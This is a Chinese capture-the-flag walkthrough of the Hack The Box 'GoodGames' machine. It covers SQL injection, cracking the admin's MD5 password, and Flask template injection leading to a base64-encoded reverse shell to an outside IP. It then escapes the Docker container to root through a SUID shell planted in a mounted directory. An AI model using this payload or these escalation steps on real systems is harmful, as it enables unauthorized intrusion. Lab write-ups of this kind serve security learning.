yuji
- 关注
1、使用nmap简单扫描一下目标ip,开启了80端口,访问一下试试
2、发现有个登录的地方,使用sqlmap尝试一下sql注入
3、存在注入点,直接使用sqlmap注入获取信息,得到了admin的用户信息
发现密码是md5加密的,使用md5查询工具查询一下,密码是superadministrator
4、使用admin@goodgames.htb/superadministrator登录,点击右上角设置,发现了一个新的url,将这个url加入hosts解析
5、加入解析后,再次访问这个页面,发现是一个flask后台(可能会考察flask模板注入),使用admin/superadministrator登录
6、登录后台后,开始进行信息收集,发现后台的net task、search交互都只是纯前端的东西,没有什么实际内容,查看settings时,发现有个用户名修改的地方,使用{{7*7}}尝试是否存在ssti模板注入
7、通过模板注入点进行反弹shell
{{config.**class**.**init**.**globals**['os'].popen('bash -c "$(echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xOS8xMjM0IDA+JjEK | base64 -d)"').read()}}
8、拿到反弹shell后,发现是一个root权限?这种情况可以考虑目前所处于docker容器里面,返回到根目录,发现存在dockerenv文件,判断目前处于docker容器
9、进入home目录,发现存在一个用户angustus,这个文件夹里面有一个user的flag,使用ls -alh查看发现有些文件不属于root?很有可能是因为docker容器的该目录是从宿主机目录挂载过来的
使用mount命令查看,存在挂载
10、使用ifconfig发现存在一个网卡eth0, Docker 通常在默认配置中将子网的第一个地址分配给主机系统,因此 172.19.0.1 可能是主机的内部 Docker IP 地址。
11、我们可以编写一个shell脚本,然后在这个shell脚本上扫描该ip地址,但是首先,我们需要将当前的终端进行升级(这里使用python建立伪终端即可)
python -c 'import pty; pty.spawn("/bin/bash")’
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
12、发现这个ip地址上存在22端口开发,我们尝试使用augustus这个账户进行连接,成功登录
ssh [augustus@172.19.0.1](mailto:augustus@172.19.0.1)
13、使用hostname查看内网所有主机,发现目标docker机器IP地址
14、查看/home/Augustus下面的文件,发现和之前在docker里面的文件信息一致,我们可以考虑将docker容器的具有root权限的/bin/sh文件放入该文件夹下面,然后赋予SUID权限,然后我们的普通用户就可以获得root权限
15、再次通过ssh连接到宿主机,执行bash得到一个新的shell,并且该shell具有root权限
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
